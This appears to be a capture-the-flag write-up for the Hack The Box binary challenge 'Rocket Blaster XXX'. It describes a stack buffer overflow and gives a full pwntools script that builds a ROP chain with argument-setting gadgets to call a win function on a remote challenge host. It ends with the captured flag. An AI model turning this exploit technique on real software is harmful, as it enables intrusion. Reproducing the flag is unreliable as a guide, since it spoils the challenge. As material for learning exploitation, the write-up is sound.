# Rocket Blaster XXX
{% file src="/files/YPBZpL1ZC9zC0s1k5G19" %}
### Challenge Description :
```
Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!
```
### File Reconnaissance :
the binary is 64bit architecture not stripped which makes reversing easier and the only protection present is `NX` which makes `injecting shellcode` useless since it will not be executed
let's open the binary using ghidra and we can see that we have a buffer overflow and the offset to the return address is 40
there is a win function that prints the flag but it checks 3 arguments if they are satisfied it will print the flag
### Exploit.py :
```python
from pwn import *
# Set up pwntools for the correct architecture
exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# io = process(exe)
io = remote('83.136.254.108', 43640)
offset = 40
ret = 0x40101a
pop_rdi = 0x40159f #0x000000000040159f: pop rdi; ret;
pop_rsi = 0x40159d #0x000000000040159d: pop rsi; ret;
pop_rdx = 0x40159b #0x000000000040159b: pop rdx; ret;
payload = flat(
(offset - 8) * b'A',
0x405500,
ret, # stack alignement
pop_rdi,
0xdeadbeef,
pop_rsi,
0xdeadbabe,
pop_rdx,
0xdead1337,
elf.functions.fill_ammo
)
# write("payload", payload)
io.sendlineafter(b'>> ', payload)
io.interactive()
```
### Flag :
```
HTB{b00m_b00m_r0ck3t_2_th3_m00n}
```
---
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